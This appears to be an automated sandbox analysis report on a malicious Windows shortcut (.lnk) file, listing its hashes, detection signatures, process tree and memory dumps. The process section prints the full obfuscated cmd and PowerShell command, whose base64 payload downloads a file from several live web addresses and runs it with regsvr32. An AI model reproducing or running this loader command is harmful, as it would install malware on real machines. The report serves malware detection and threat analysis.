Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 09:51

General

  • Target

    f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

  • Size

    2KB

  • MD5

    7afdcca99d1eccd0dce36db46e742df5

  • SHA1

    00dddf927c115e7af0f0dea7e517eadecf1003b8

  • SHA256

    f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390

  • SHA512

    1de6b03e738baa2b545dddceea6bb8209528fe45cf49c7e2805a4408f32b1cfcb5b99f1b9f6fd7f8bde388e19abad1d7dc55962088ac5bc493e7a3cd4590b373

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1164
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c qNARm4qQrno5jsUx94Muu9UAGPhpu2QSUHvDdf3YtfTqGoAFH8dVSTB586lJusgfCxg3//HL||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2564-48-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-47-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-46-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-45-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-44-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-43-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-42-0x00000000027E0000-0x00000000027E8000-memory.dmp

    Filesize

    32KB

  • memory/2564-41-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2564-40-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

    Filesize

    4KB